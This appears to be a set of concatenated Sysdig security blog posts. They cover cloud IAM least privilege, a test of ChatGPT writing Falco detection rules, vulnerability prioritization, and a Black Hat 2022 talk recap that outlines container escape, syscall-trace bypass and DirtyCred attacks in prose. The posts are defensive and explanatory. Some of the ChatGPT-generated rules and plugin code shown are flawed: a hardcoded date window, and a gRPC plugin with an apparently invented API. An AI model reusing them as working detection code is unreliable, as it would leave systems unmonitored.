And it’s not only human or traditional users that must be addressed. Applications, cloud services, commercial tools, and many other entities (or machine identities) must be authenticated and authorized appropriately as well. Similar to how applications on your cell phone request permissions to your contacts, photos, camera, microphone, and more, these machine identities request and require permissions to your environment. For this reason, we must also consider access management for these non-human entities. 

Challenging these types of accounts for authentication is different than traditional users, and it can also break system integrations or automations.

It is clear that companies face this challenge when scaling their identity management, as they must be precise yet flexible in allowing activity but maintain the principle of least privilege in each of the accounts, groups, or policies they manage at the same time. These constraints are also foundational to zero trust architecture that many organizations are pursuing. 

Visibility and analysis of access controls are poor

Why do so many granted permissions never get used? At the very least, organizations need visibility into user accounts, non-human identities, and their relevant permissions. 

• More than 98% of permissions granted to non-human identities have not been used for at least 90 days. 

Oftentimes, these unused permissions are granted to orphaned identities, such as expired test accounts or third-party accounts. This can also happen because there is no direct 1:1 mapping with classic identity managers, such as LDAP, when migrating to the cloud or if there are multiple authentication systems. Not excluding the fact that, in many systems, there is also a mix of DAC, MAC, and RBAC, and they are not aligned.

We should assume that excessive permissions increase the likelihood of a security incident or breach. We should always reduce permissions as much as possible, regardless of identity type, to understand the risk we assume when our security is deficient. OWASP Kubernetes can be of help, sorting out the most likely risks you are going to face.

We took a closer look at all of Sysdig’s customer accounts with administrator permissions and calculated relative risk scores. The risk scores represent the percentage of a customer’s cloud accounts with poor security hygiene. We set the parameters as accounts with administrator access, no multi-factor authentication (MFA) enabled, and account inactivity of 90+ days. These are conveniences attackers look for because they provide easier account access with elevated permissions and reduced chance of detection since normal activity on these accounts may not be captured in defensive detection alerts.

Best strategies to mitigate unnecessary risks

Based on our research, we demonstrate that although there is awareness of IAM processes, tooling, and zero trust approaches, appropriate access control in the cloud still lags behind the fast pace of cloud adoption.

Let’s explain what the best strategies to fight with the challenges mentioned above are.

Find an appropriate balance for permissions exceptions

As a company, you invest resources and time in creating the most accurate policies, groups, and roles to attach to your users. You keep all the inventory and monitor the application of these policies to avoid any human error, but as we mentioned before, the problem starts when a user wants or needs more permissions to finish his tasks. Should we not allow any exceptions in our company? This is an important question to ask yourself. If you want to ensure that configuration errors are avoided, no exceptions is your best solution. Unfortunately, in the real world, the first priority is availability and security is secondary. Such a secure design choice need not be made unilaterally either. You may only employ stricter access control in mission or business critical environments, or those that are more exposed, such as cloud tenants. 

This opens up the discussion on how to manage every exception in your environment: you should have them all inventoried, no matter the scale; follow the lifecycle of your permissions on your users, focusing on the most sensitive administrators or policies; and finally, accept the risk every time you accept a change.

Promote collaboration between IAM and IT teams

So, how do you manage this identity and access management at scale? 

It is not just assigning a person or a team dedicated exclusively to the governance of permissions (managing and provisioning resources such as Policies, Groups, Roles, etc.). This will help, but unfortunately it is not a perfect solution. It does not solve the scalability problem if everything depends on a single point or your organization does not have the resources to maintain a dedicated team.

The possible solution then goes through collaboration and ownership of the different teams to maintain granularity in the assignment of permissions to accounts and non-human users. Each team (engineers, business teams, platform ops, etc.) knows their area of work and knows what minimum resources they need. IT teams, or IAM teams if they exist, should follow the principle of least privilege using the controls that cloud providers offer. 

Another solution is self-service, having strict policies in place and obtaining these permits on a temporary basis to minimize risk. Otherwise, people will over-permission and access controls may degrade. These automated solutions could solve the big problem of requests and approvals by adding complexity to identity and access management.

Individuals working in tandem with other organizational teams will be better equipped to satisfy compliance with cloud security best practices, such as CIS Benchmarks or well-architected frameworks. 

Reduce time waste and lean on runtime detection

Last but not least, you need to maintain awareness of any changes made to permissions and permissions managers through the use of detections. Otherwise, you may be missing an adversary’s initial access and allowing compromise risk to increase.

Traditionally, organizations try to dump all data logs from applications and services (e.g., in data lakes) and use tools such as SIEMs to detect threats, investing resources in minimizing mean time to detection (MTTD). We consider it is necessary to speed up this detection of any changes in your permissions manager and cloud tenants, giving rise to runtime security capabilities to restrict inappropriate changes on the fly or revert to the default configuration based on the usual behavior of our users. Additionally, this reduces the cost of infrastructure that organizations need to maintain the threat detection systems working efficiently.

IAM and IT teams should also remove unused test accounts wherever possible to prevent initial access opportunities and reduce the attack surface. While this can be tedious to determine manually, a smart way to define policies automatically can be based on the behavior of your users and analysis of the permissions they typically use. This information can be used to generate baselines which are ideally codified (such as in the form of policy-as-code) and then enforceable. This “in-use” permission policy works as filters and automatically generates recommendations and can make this process more efficient.

These recommendations follow established security best practices and should be part of your overall cybersecurity program. Adhering to them will benefit your risk posture.

Final thoughts

We’ve scratched the surface of why it is so difficult to manage identities in the cloud and how organizations commonly misconfigure access controls and over-permission identities. You can use the guidance and suggestions provided here to improve your permissions management practices.

Identity and access management is an incredibly dense topic that underpins most if not all security program approaches. Clearly, IAM gets more complicated in cloud environments. Practitioners know they should follow least privilege principles and pursue zero trust initiatives, but the answer to “how?” is nuanced. We believe that effective IAM in the cloud is a huge challenge for any organization as highlighted by the statistics in Sysdig’s usage report, and optimal strategy isn’t one-size-fits-all.

[1] Gartner, Best Practices for Optimizing IGA Access Certification, Gautham Mudra, 4 April 2022. Gartner is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

The post Why Companies Still Struggle with Least Privilege in the Cloud appeared first on Sysdig.

ChatGPT is SO trendy that I overheard my grandma talking about it to her friends the other day. We’re seeing more and more uses of this AI for real world applications. That made us think…

Falco, the first runtime security project to join CNCF as an incubation-level project, needs contributors. Would OpenAI’s ChatGPT language model be able to write security rules or plugins for Falco, and become a contributor?

ChatGPT as a potential new Falco partner

Jokes aside, in this article we explore the viability of ChatGPT as a tool for organizations to create effective and efficient security rules. Would those new rules in Falco ensure their containers and hosts are protected from potential threats?

What is runtime security for ChatGPT?

In order to begin, we need to understand what runtime security is. Rather than using a search engine, we will ask ChatGPT in order to speed up the process. 

According to ChatGPT:

 “Runtime security involves monitoring and protecting software systems in real-time as they are running, detecting, and responding to security threats, and implementing mitigation techniques to prevent further damage. The goal of runtime security is to identify and respond to security threats and vulnerabilities before they can be exploited and cause harm.”

A good definition, but let’s see if we can go deeper.

What is Falco for ChatGPT?

ChatGPT summarized the open source project Falco in a clear and concise manner. 

Rather than copying the information from the landing page of falco.org, ChatGPT provided useful context as to how Falco utilizes eBPF to achieve low-overhead when detecting security threats from data collected within the Linux Kernel. 

At this point, we understand what runtime security is, and how Falco can be used to detect anomalous runtime security issues. Now that we are familiar with open source Falco, let’s ask ChatGPT to write us some useful Falco rules.

Asking ChatGPT to create a Falco rule

Now, let’s ask ChatGPT if the language model is capable of writing OSS Falco security rules. 

Based on the below screenshot, does ChatGPT looks like a useful contributor to the Falco community?

At this point, we are happy with the answer that was returned. 

There was a correctly-formatted Falco rule and the language model also returned some added context as to how the rule will work. 

My only concern is that the first rule they created is similar to a rule that already exists in the Falco community rules feed:

- rule: Terminal shell in container
  desc: A shell was used as the entrypoint/exec point into a container with an attached terminal.
  condition: >
    spawned_process and container
    and shell_procs and proc.tty != 0
    and container_entrypoint
    and not user_expected_terminal_shell_in_container_conditions
  output: >
    A shell was spawned in a container with an attached terminal (user=%user.name user_loginuid=%user.loginuid %container.info
    shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline pid=%proc.pid terminal=%proc.tty container_id=%container.id image=%container.image.repository)
  priority: NOTICE
  tags: [container, shell, mitre_execution, T1059]

The above Falco community rule includes different use cases; proc.name is not just sh, it is a long list which is contained in shell_procs. As a result, this would lead to fewer false/positive detections and reduce the attackers’ chances of bypassing the rule. If the rules are too generic, it can potentially capture expected behavior.

When asking our questions to ChatGPT, we need to be more precise to generate an accurate rule. For example, we would ask ChatGPT to create a Falco rule that detects suspicious login activity on a Linux workstation between certain hours of the day.

Again, we like how the rule looks. 

Since Falco is designed to handle Linux system calls, there is no need to explicitly mention the workstation OS type. However, ChatGPT nicely mentioned that the rule triggers for activity on Linux workstations because we specifically requested this. We will copy the code snippet and paste it below so that we can dissect it further:

- rule: Detect suspicious login activity during off-hours
  desc: Detects login sessions initiated during off-hours on a Linux workstation
  condition: (evt.time > "2022-12-31T02:00:00.000Z" and evt.time < "2022-12-31T07:00:00.000Z") and (evt.type=execve and evt.argc=3 and evt.argv[2]=login)
  output: Suspicious login activity detected during off-hours: user=%user.name command=%proc.cmdline
  priority: WARNING

The Falco rule uses the below system call activity:

1. evt.time – This is the event timestamp. It’s between T02:00 (2 a.m.) and T07:00 (7 a.m.).
2. evt.type – This is the name of the event, for example, ‘open’ or ‘read.’ In this case, it’s execve. The execve event executes the program referred to by pathname.

If you are ever unsure about a certain argument used, what it means, or how to use it going forward, you can ask ChatGPT to elaborate on its findings without re-writing the entire question.

Since ChatGPT is a language model, it does a great job of not just providing rules, but also providing clarity on its findings. With this additional context provided by ChatGPT, we are happy with how this rule turned out. 

Since we don’t have any business need for this specific rule, let’s use ChatGPT to solve some real business problems.

ChatGPT, MITRE ATT&CK, and Falco

Continuing the conversation, we got more technical with ChatGPT and tried to combine two areas of expertise: Falco and MITRE.

The MITRE ATT&CK framework for Enterprise environments is BIG! As a result, it can be hard to provide extensive coverage of all Tactics, Techniques, and Sub-Techniques for Linux Systems. 

Since ChatGPT can read and interpret large values of operational data, it speeds up the process of building Falco rules to better align with this widely-used risk framework.

In the Falco community rules feed, there was no existing rule aligned to the Technique ID ‘T1529.’ For this technique ID, the adversaries may shutdown or reboot the workstation to interrupt access to workstations, or aid in the destruction of those systems. When requesting a rule that detects system shutdown or reboot, we also want to request the appropriate tagging for rules alignment with the MITRE ATT&CK framework. Surprisingly, ChatGPT answered with an incorrect tactic and technique associated with that technique ID.

The technique Cloud Service Dashboard is assigned to the Tactic ‘Discovery’ and the associated Technique ID T1538. Whereas, the technique ID T1529 is associated with shutdown/reboot activity, this would be aligned with the Tactic ‘Impact.’ 

For the first time, ChatGPT made an obvious mistake in its answer. When we confronted ChatGPT, it immediately apologized and provided an amended answer that looks more like the Falco rule we would expect.

This regained my trust in ChatGPT becoming an approved Falco contributor. 

However, since we cannot guarantee that ChatGPT is going to return the correct rule, we also need to validate that the rule conditions are valid.

Again, I’ve pasted the findings into the following snippet field for further inspection. As mentioned by ChatGPT, this rule checks for execve events where the second argument (evt.argv[1]) contains either shutdown or reboot. This indicates that the process is attempting to shut down or reboot the system, which is a technique used to disrupt normal system operation and, therefore, correctly aligns with the MITRE tactic and technique.

- rule: Detect T1529 - System Shutdown/Reboot
  desc: Detects attempts to shut down or reboot the system
  condition: (evt.type=execve and (evt.argv[1] contains "shutdown" or evt.argv[1] contains "reboot"))
  output: "Detected attempt to shut down or reboot the system. T1529 - System Shutdown/Reboot detected"
  priority: WARNING
  tags: [tactic=impact, technique=T1529, technique_id=T1529]

So far, we have learned that we cannot rely on ChatGPT to contribute Falco rules without being vetted by an experienced Falco user. 

That said, ChatGPT has quickly contributed rules that can be used to address regulatory frameworks and/or risk frameworks such as MITRE ATT&CK. The injected tags allow users to categorize and track detections of this technique within your security management tooling.

How to detect cryptomining with ChatGPT and Falco

The rules we have created so far are fairly simplistic. In order to test the true power of ChatGPT, we need to ask it for help creating more complex Falco rules involving additional abstractions such as Macros and Lists. 

An example that we were working on recently was the creation of a small list of known cryptomining binaries for a CNCF Livestream. We would like to see how ChatGPT addresses this request.

We were disappointed with this response. 

While the syntax is valid, the default approach from ChatGPT is always to list the process names within the Falco rule, rather than creating a list of known binaries, and mapping this to the Falco rules via a referenced Macro. 

We can ask ChatGPT to specifically reference the binaries in the List.

Funnily, ChatGPT was even more confused by this instruction to the point where it started appending syntax that is foreign to the Falco rules syntax. 

At this point, the rule would no longer work and ChatGPT is losing credibility as a valid contributor to the Falco project.

As an experienced Falco user, I had to explain that ChatGPT misunderstood my request and that further evaluation is required. It’s not that ChatGPT is unable to answer the request, but it can misunderstand certain aspects of the request depending on our phrasing. 

That’s why your request might require further fine tuning, but we can see that ChatGPT got there in the end. 

ChatGPT has given us a correctly-formatted Falco rule, which is a great foundation for further development. However, the rule is certainly not foolproof. 

There are many examples of cryptomining binaries other than ‘xmrig’ – though xmrig is certainly the most common example. The value here is creating an extensive, up-to-date list of all common binaries so we can provide as much security coverage as possible. We mention some of these binaries in the following Falco blog.

Can ChatGPT create Falco plugins?

Don’t get disappointed. Let’s see if ChatGPT is able to help us create a plugin for Falco.

It’s super important to understand how ChatGPT responds to generic commands. When we asked if ChatGPT can create Falco plugins, it said, “I do not have the ability to write or compile code. However, I can assist you in writing the code for a Falco plugin.”

It’s also worth noting that ChatGPT explains the supported protocol (gRPC) and the languages that support it (C++, Go, or Python). 

In that case, we just need to ask for guidance in how to write a Falco plugin. We need the request to be for a specific service for this request to be effective. Since LastPass is in the news lately, we will ask ChatGPT to help us create a LastPass Plugin.

Amazingly, the below Python code snippet was provided to help configure a LastPass plugin with the appropriate gRPC protocol that we mentioned previously.

import grpc
from falco_proto import event_pb2
from falco_proto import event_pb2_grpc

class LastPassPlugin(event_pb2_grpc.EventServiceServicer):
    def HandleEvent(self, request, context):
        event = request.event
        if event.event_type == "executed" and event.output.find("lastpass-cli") != -1:
            print("LastPass CLI was executed")
        return event_pb2.HandleEventResponse()

server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))
event_pb2_grpc.add_EventServiceServicer_to_server(LastPassPlugin(), server)
server.add_insecure_port('[::]:50051')
server.start()
server.wait_for_termination()

This code sets up a gRPC server and implements a custom HandleEvent method that is called whenever a Falco event occurs. The method checks if the event is an “executed” event and if the output contains the string “lastpass-cli.” If both conditions are met, it prints a message indicating that LastPass CLI was executed.

Note that this is just a basic example. ChatGPT clearly explains that this was provided as guidance and therefore you will likely need to modify the code to meet your specific requirements. 

For more information on creating Falco plugins, we would recommend referring to the official Falco documentation and the gRPC protocol documentation.

Can ChatGPT contribute to the Falco project?

Unfortunately, no! 

As ChatGPT explained to us, it can help with the rule creation. But as an AI language model, it is not authorized to create pull requests. As a result, ChatGPT cannot be officially included as a contributor to the open source project. However, project contributors and community members can rely on ChatGPT to validate their rule formatting, identify discrepancies in misconfigured rules, as well as provide insights on how a rule should be formatted to address a framework requirement.

Conclusion

ChatGPT is a powerful language model that can assist in creating Falco security rules. With its vast knowledge of various topics and its ability to generate text, it can provide helpful guidance and examples of how to create a rule that detects a specific threat. However, while it can be a valuable resource, ChatGPT should not be trusted to fully automate the creation of security rules. 

The accuracy and relevance of the information it provides can be limited by its training data and its knowledge cutoff, and it may not have the expertise or context to make informed decisions about the specific security needs of an organization. Additionally, security rule creation is an ongoing process that requires constant monitoring, tuning, and updating to keep up with new threats and changes in technology. 

Therefore, it is an option to use ChatGPT and consult security experts to verify and refine the rules before deploying them in a production environment.

If you’re interested in contributing to the open source community and making a positive impact on the state of security, consider joining the OSS Falco project. 

By participating in this project, you have the opportunity to work with a team of experienced security professionals and make a meaningful difference in the fight against cyber threats. You can contribute in many ways, from reporting bugs and providing feedback, to writing documentation and code, to spreading the word about the project to others in the security community. 

The Falco project is constantly evolving, and your contributions can help shape the future of the project and ensure its continued success. Whether you’re a seasoned security professional or just starting out in the field, the OSS Falco project offers a unique opportunity to make a real difference and gain valuable experience. So why wait? Join the Falco community today and help secure the future of cloud-native computing.

The post ChatGPT as your Falco Consultant appeared first on Sysdig.

Our findings in the Sysdig 2023 Cloud-Native Security and Container Usage Report provide signs of hope for overburdened developers, as the data showed opportunities to focus remediation efforts on vulnerable packages loaded at runtime. Only 15% of high or critical severity vulnerabilities with an available fix are actually in-use at runtime. 

Vulnerability management prioritization based on filtering by in-use packages enables teams to significantly reduce cycles spent chasing an endless pile of vulnerabilities. Despite increased adoption of shift-left security strategies to assess code early and often, organizations need runtime security, as part of a Cloud Native Application Protection Platform (CNAPP).

What is developer fatigue?

High-profile vulnerabilities and exploits, such as Log4Shell and Text4Shell, along with increased guidance from government organizations regarding cybersecurity, have caused many teams to heighten their focus on application security testing. Even with these high-profile vulnerabilities, there is little evidence of real progress in addressing this risk. In addition, development teams increasingly rely on open source software and third-party code, and with that comes the risk of exposure to both known and unknown security vulnerabilities.

A shocking 87% of images include a high or critical vulnerability, up from the 75% we reported last year.

When you view the data by number of vulnerabilities in images as opposed to number of vulnerable images, 71% of vulnerabilities have a fix available that has not been applied. Keep in mind, some images have more than one vulnerability. Organizations are aware of the danger, but struggle with the tension of addressing vulnerabilities while maintaining the fast pace of software releases.

Although the list of software vulnerabilities to fix seems endless, there is an opportunity to reduce wasted time and improve the efficacy of cybersecurity programs. Our research found that only 15% of critical and high vulnerabilities with an available fix are in packages loaded at runtime. By filtering out those vulnerable packages that are actually in-use, organizational teams can focus their efforts on a smaller fraction of the fixable vulnerabilities that represent true risk. 

This is a more actionable number that can allay some fears around release decisions and focus remediation efforts, provided organizations use the relevant security capabilities.

Vulnerability prioritization as a mitigation method

Vulnerabilities are discovered in images each day. However, it’s not practical to fix every single one when you’re maintaining multiple workloads at scale. Successful, modern vulnerability management requires security teams to prioritize vulnerabilities based on the actual or real risk to their organization.

There are a number of inputs commonly used to prioritize vulnerability remediation work, which include:

• Common Vulnerability Scoring System (CVSS): specifies the severity of a known issue
• Exploitability: indicates if there is a known path for exploiting the vulnerability
• Fixable: identifies if there is a fix available to address the vulnerability

Addressing running, vulnerable packages with a known exploit should be the top priority. We found that our customers are proactive in fixing vulnerabilities that are exploitable and in packages loaded at runtime. When we combine multiple criteria of a vulnerability (fix availability, exploitability, and presence in a package loaded at runtime), what remains is 2% of the vulnerabilities found in the 25,000 images we analyzed.

Some vulnerabilities have an exploit available for attackers to use, but they do not have a readily available fix to mitigate potential threats. This small, but significant category affects security teams since they must still assess the risk of exploitable vulnerabilities and determine alternative mitigation strategies without Common Vulnerabilities and Exposures (CVE) patches or fixes.

When exploitable vulnerabilities must remain in your environment, one way security teams can ease the pain and reduce the risk of compromise is by implementing runtime security detections. Runtime protection is often powered by rules, but it should also employ a multi-layered approach that incorporates behavior anomaly detection and AI or ML-based detection. This approach improves detection and mitigation of zero-day exploits and yet-unknown threats. 

Runtime protection mechanisms can also be tuned to detect novel threats that target vulnerable workloads in the unique environments of organizations. Detections can also be augmented with threat intelligence from threat research teams and regularly updated as new information or findings about behaviors become available.

We looked at the package types of more than 6.3 million running images to determine the four most commonly used package types.

• Java packages are the riskiest, representing over 60% of vulnerabilities exposed at runtime.
• Fewer than 1% of JavaScript packages are in-use at runtime.

Operating System (OS) packages were also risky, Most people use a base image because it’s easier than creating your own. Taking a look at our customer usage, we see that Red Hat Enterprise Linux (RHEL), which includes the Red Hat UBI (Universal Base Image), is by far the most popular at 46% of base images. This is up 10% year-over-year. This may be because RHEL has a long history of usage in the enterprise, and would be an easy choice as organizations move to cloud‑native workloads. Interestingly, only 16% use Alpine, a lightweight Linux distribution.

By using slimmed-down base images like Alpine, organizations can debloat their container environment by 97.5% and thereby reduce their attack surface. This will also reduce the number of OS vulnerabilities to fix, as only 8% of vulnerabilities are in OS packages loaded at runtime.

Conclusion

Companies are rapidly adopting containerized microservices, CI/CD, and on-demand cloud services to speed up innovation. However, the pace of change opens the door to risk as cloud sprawl and the complexity of cloud-native applications expose a lack of maturity in DevSecOps processes. 

Vulnerability prioritization becomes an essential way to reduce or mitigate the stress and fatigue of our developer teams in the face of continuous vulnerability disclosure.

Finally, supply chain risk from misconfigurations and vulnerabilities has emerged as a major area of concern. Our research demonstrates that although there is awareness of required tools and the benefits of zero trust approaches, cloud security processes still lag behind the fast pace of cloud adoption.

Want more? Download the full Sysdig 2023 Container Security and Usage Report now for all the details. You can also find our past reports here.

The post Vulnerability Prioritization – Combating Developer Fatigue appeared first on Sysdig.

In 2020, Black Hat added the word Cloud to the existing track about Platform Security. Research on Kubernetes, containers, and other cloud technologies had been presented at Black Hat before 2020, but adding Cloud to the track title really highlighted the importance of securing the cloud that many corporations and individuals rely upon every day.

In summary, we have cloud at the core of most of the talks, eBPF is growing in visibility, and attacking and defending the supply chain as a priority. As a threat, we could say ransomware in the cloud and global conflict management, and finally the importance of early detection of burnout.

In this Blackhat 2022 recap, we’ll share our insights about the talks that we believe to be the most interesting.

Blackhat 2022 – KEYNOTES

In this edition, one of the main topics in the keynotes was the control of information, the problem with how fake news is impacting our lives, and the difficulties of checking reliable information. The solution, in some cases, is to intensify controls on information sharing, but this could be used for censorship. Now it’s not just governments and companies that are involved. New players in the field, individuals, are part of it, and like spam detectors, we need something ethical to protect us.

The invasion of Ukraine is another topic mentioned in the first few minutes of Blackhat 2022. Some companies started to participate, and banned relations with Russian projects or affected domain renewal in Russia. So, the end of these conflicts is all but certain, and instead it seems that they are progressively more chaotic with increasing impacts on society.

Chris Krebs, Director of CISA, explained in one of the Blackhat 2022 keynotes the main four reasons for why it is so bad right now and left us with an important lesson: “Life is too short to work for a**holes.”

• Technology: More software means more complexity and, by default, more insecure code integration to maintain and update. In addition, Krebs emphasized how the lack of vision within the cloud causes complex risk management.
• Bad actors: Attackers know all this and know the profit is in the cloud. As we mentioned in the anatomy of cloud attacks, cloud ransomware is the future threat and is going to have a big impact. Attackers are betting on targeting the supply chain to gain access.
• Government: Regulation, economics, and innovation are growing, but it is very difficult to work with governments efficiently. Compliance must change to get more results than a checklist. We must watch out for future global incidents to be prepared.
• People: How do we balance all this information? In most cases, people are the end users of all this technology and the victims of breaches and incidents.

Kim Zetter, investigative journalist, gave a good overview of the evolution of threats and how this impacts companies. The media has had to adapt when it comes to explaining new vulnerabilities or threats to the audience. She mentioned the Pre-Stuxnet and Post-Stuxnet eras, where everything has changed but the same actors remain. She started with ransomware, evolving into more sophisticated malware that modified code to eventually directly affect the supply chain with SolarWinds.

In a real case, she explained that a company with a perfect backup system and everything prepared to be restored (in case it was affected by ransomware) paid the ransom when it happened. Why? It never tested the recovery process. Therefore, we should anticipate and perform simulations just like we do fire drills.

Finally, we all know the good security practices, such as isolating networks, reinforcing perimeters, mfa, IR plan and backups, that protect us from most attacks. But, critical infrastructure is still not fully implemented, remaining exposed and without authentication on the internet.

Blackhat 2022 – Top Briefings

During two days of Blackhat 2022 USA trending sessions, we were able to enjoy several high-level talks on cybersecurity. These are, in our opinion, the most remarkable ones.

IAM The One Who Knocks

One of the most important parts of securing your cloud account is how to manage identity access. In this talk, Igal and Noam provide a good explanation of how each public cloud (AWS, GCP, and Azure) implements access and authorization. Every cloud provider works differently but there isn’t one that is clearly better than the others; the major difference is the scope of the permission. AWS scope is part of the policy itself, and they recommend AWS SSO.

Another important topic was the non-human identities. Each provider calls them something different, but the attackers don’t care. They only like to exploit the Cloud IAM weaknesses and the speakers explain how with different examples.

Here are the takeaways.

• Default is the best friend of attackers: Maintaining a good CSPM is crucial to stop the majority of attacker’s attempts to control all your accounts. Avoid temporary fixes that become permanent.
• Monitor and protect credentials: Not only is the creation part relevant, but the modification of a compromised account is a huge threat.
• Log everything but know the limits: the golden rule of security is to log everything, but in some cases we exceed the limits. Attackers use this to hide their actions and go unnoticed. At this point, we want to highlight another option. Try to detect at runtime or at the time when these logs occur to avoid the large amount of logs (only one window is sufficient if the initial compromise attack is detected). That is what Falco open source tries to do.

Finally, the speakers shared different open source tools that will help you manage excessive permissions. Two types of tools, the constructive (adding only the requirements, the principle of least privilege) and the reductive (default permission and remove from it).

Trying to Be Everything to Everyone: Let’s Talk About Burnout

Burnout is no joke. You have to take care of yourself and detect burnout before it is too late. This talk exposed the problems within the security industry, including the high levels of mental workload, the rapid response that security engineers are forced to have when a shortage occurs, and when they must anticipate cyber attacks that lead to maintaining a high level of stress.

Of course, it’s very difficult to quantify security, so it’s hard to know if we’re investing our time and effort (and money!) well. For this reason, we can often feel that we are not doing our job well no matter how hard we try.

The speaker suggests good health, physical fitness, and relaxation techniques. The most common solutions for burnout are to work in short time slots, balance it with your personal life or, if you can, stop working and be free. Joking aside, ask for help at the slightest risk of burnout.

RCE-as-a-Service: Lessons Learned from 5 Years of Real-World CI/CD Pipeline Compromise

We have to go back to basics; this is one of the points to keep in mind. The speakers explained different use cases and examples where the CI/CD pipeline was compromised based on issues that are not new. Examples include exposed credentials encoded in YAML or other configuration files, failure to isolate networks, or not following the principle of least privilege. One of the demonstrations focused on cloud-to-premises hopping, an increasingly common threat.

To solve this problem, one of the things mentioned is the signing process, verify everything we are running. We explain in detail these procedures in Kubernetes by using cosign and connaisseur.

Trace Me if You Can: Bypassing Linux Syscall Tracing

System call traces are used to detect different behaviors within linux systems. There are several tools to obtain this data and process it to generate alerts when something strange happens. Like the Kubecon talk (Bypassing Falco), this talk focuses on the Falco tool and the TOCTOU problem solved in the current version.

TOCTOU, or time-to-check to time-to-user, is a software bug caused by a race condition. In this talk, the speaker simulates how the attacker could modify the trace of a syscall in several scenarios. Here, we summarize two of them:

• The first uses delay injection in the communication between the client (or compromised device) and the server (in this scenario, the C2C). The technique is based on delaying the response in the handshake when the communication is initiated. The communication, when the exploit replaces the original IP with a fake one, is hidden from post-forensic analysis. If we check the network traces in Wireshark, we can discover the real IP of the C2C in the first packets.
• The second scenario is the same idea but on the routes we like to modify. The attack is performed to store information inside GKE, avoiding detection by changing the path of the file we are writing.

The demo is performed exploiting using Phantom-attack, presented at DefCon 29. The mitigation was using the new version of Falco (>0.32), and it is also recommended to use other methods to block the system call such as seccomp. This would affect its performance.

Kubernetes Privilege Escalation: Container Escape == Cluster Admin?

This talk explains the same concept presented at the KubeCon EU with the talk Trampoline Pods.

The scenario presented is as follows: inside our Kubernetes cluster we have containers running, but one of these containers is vulnerable and the attacker gains access to execute commands and control the entire node using container escape techniques.

What is the next step to control the entire cluster? Kubelet’s credentials are not enough, and the node permissions are different to be admin. The goal is to get control of a trampoline pod in DaemonSets to perform lateral moves between nodes and obtain control of the whole cluster. There is no clear list of what permissions are required to carry out this type of attack, but depending on which ones are required, one or the other can be performed.

• AuthN/AuthZ: Impersonate to escalate roles.
• Acquire Tokens: Create new tokens for privilege escalation and, with the service account, enable secret list and use it to authenticate to the api-server.
• RCE: You do not need to escalate privileges to run your code, it depends on your configuration. It controls Kubelet.
• Steal Pods: Move the pod from one node to another with a powerful services account. Update nodes or delete other pods permission required.

This Trampoline pod affects all major cloud providers with the default behavior and, for this, escaping the container means managing the entire cluster. They shared the tool rbac-policy that was presented in KubeCon EU.

Cautious: A New Exploitation Method! No Pipe but as Nasty as Dirty Pipe

The new exploitation method presented by Zhenpeng Lin is called DirtyCred and is based on swapping Linux Kernel credentials. It’s simple, effective and generic. This allows it to perform container escape and still be an actual threat.

Exploitation is performed on a system vulnerable to CVE-2021-4154 or CVE-2022-2588, and the speaker explained two path attacks.

Attacking task credentials (struct cred): Our un-privileged credentials inside the kernel heap are modified, free, and privileged credentials are put in the same place to impersonate them.

Attacking open file credentials (struct file): Free the file after checks but before writing to memory. Allocate a read-only file object in the freed memory slot.

To do this deterministic and not wait for privileged users to allocate task credentials, the attacker could trigger privileged processes in user space (executables with root SUIDs or daemons running as root). Finally, the attacker needs to stabilize the file exploit by extending userfaultfd or FUSE (pause kernel execution).

It’s a very interesting exploitation method that requires further research.

DNSSEC Downgrade Attacks

DNSSEC is the solution to DNS, based on cryptography signatures and verification of the resolver with a chain of trust. DNSSEC protects us from DNS Poisoning when we have a compromised application. DNSSEC provides data origin authenticity and integrity, but not confidentiality.

The attack is based on making the resolver use the weakest security path and attacking that weakest link in the chain of trust. The final model is that the attacker, without knowing the cryptographic secrets, is able to activate the resolver, intercept it, and modify the records and signatures. The result? Successful impersonation of a real resolver.

Countermeasures against this are to require the stronger DS and to drop SHA-1.

If you are interested in knowing more about DNS and how to configure it in a secure way in the cloud, read the article How to protect DNS in the Cloud.

Scaling the Security Researcher to Eliminate OSS Vulnerabilities Once and For All

The speakers started with a simple concept. When we detect a vulnerability in open source code, how do we fix it? Well, fork the code and PR with changes inside that resolve the vulnerabilities. But what if this insecure code is in thousands of repositories?

The first vulnerability that was fixed is the download or update of dependencies via HTTP, which are vulnerable to MiTM and not recommended at all. But is it a real problem? Well, Sonatype maven core downloads still use HTTP (25%).

To solve this problem, the speaker creates a python bot with CodeQL and scans 100k with a simple regex.

With this, the bot created over 1,400 pull requests with an acceptance rate of 40%. Pretty impressive. But this is just the beginning. How can it do the same with all the security vulnerabilities within the repository code on a massive scale?

Well, openRewrite has been introduced, an automated software refactoring to keep up to date with API changes, fix vulnerabilities, and improve code quality and the Moderne platform to manage the entire process. The talk explained three vulnerabilities (temporary directory hijacking, Partial path traversal, and Zip Slip) and focused on java language.

What’s next?

This has been the most relevant at Blackhat 2022 USA. The main topics are still Kubernetes security, cloud security, and supply chain attacks, but we have a lot of global incident presence.

In a few months, we will have the next Blackhat in Europe. We hope to be here with more great talks and demos.

Sysdig has unveiled at Blackhat 2022 a cloud detection and response (CDR) powered by machine learning to combat cryptojacking. If you like to know more about this, dig deeper in the following resources:

• Detect cryptojacking with Sysdig’s high-precision machine learning
• Cryptominer detection: a Machine Learning approach

The post Blackhat 2022 recap – Trends and highlights appeared first on Sysdig.